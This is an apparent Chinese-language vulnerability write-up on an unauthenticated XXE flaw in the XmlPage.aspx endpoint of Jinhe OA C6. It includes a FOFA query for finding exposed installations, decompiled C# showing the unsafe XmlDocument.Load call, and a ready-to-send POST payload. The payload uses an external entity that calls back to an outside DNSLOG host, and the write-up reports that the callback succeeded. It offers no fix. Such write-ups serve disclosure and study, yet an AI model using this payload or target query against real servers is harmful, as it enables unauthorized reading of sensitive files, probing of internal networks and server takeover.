漏洞简介
金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 XmlPage.aspx 接口处存在XXE漏洞,未授权的攻击者可以通过此漏洞读取服务器上敏感文件或探测内网服务信息,进一步利用可导致服务器失陷。
影响版本
金和OA C6
fofa语法
app="金和网络-金和OA"
漏洞分析
直接根据 XmlPage.aspx 在 bin 目录下查找 JHSoft.Web.Calendar.dll 将其进行反编译后找到 XmlPage 的处理逻辑
protected void Page_Load(object sender, EventArgs e)
{
if (this.Session["UserCode"] != null)
this.SessonUserCode = this.Session["UserCode"].ToString();
string empty = string.Empty;
if (this.Request.QueryString["val"] != null)
empty = this.Request.QueryString["val"].ToString();
string str1 = string.Empty;
if (this.Request.QueryString["gettype"] != null)
str1 = this.Request.QueryString["gettype"].ToLower();
string str2 = string.Empty;
if (this.Request.QueryString["ishave"] != null)
str2 = this.Request.QueryString["ishave"].ToLower();
if (this.Request.Form["year"] != null && this.Request.Form["month"] != null)
{
this.strYear = this.Request.Form["year"].ToString();
this.strMonth = this.Request.Form["month"].ToString();
}
if (string.op_Inequality(this.strYear, ""))
this.SearchCalendar();
if (string.op_Inequality(empty, string.Empty))
{
if (string.op_Equality(empty, "con"))
{
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.Load(this.Request.InputStream);
this.SaveFile(xmlDocument.DocumentElement.SelectSingleNode("//root//SaveContent").InnerText);
xmlDocument.RemoveAll();
}
else
this.Resource(empty.Split(new char[1]{ '$' }));
}
当val=con时,请求内容直接使 XmlDocument.Load 解析,造成XXE漏洞。
漏洞复现
POST /c6/Jhsoft.Web.calendar/XmlPage.aspx/?val=con HTTP/1.1
Host: jhsoft.mrxn.net
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxe.dnslog.pt/xxe_test">
%remote;]>
<root/>
在DNSLOG平台成功收到请求





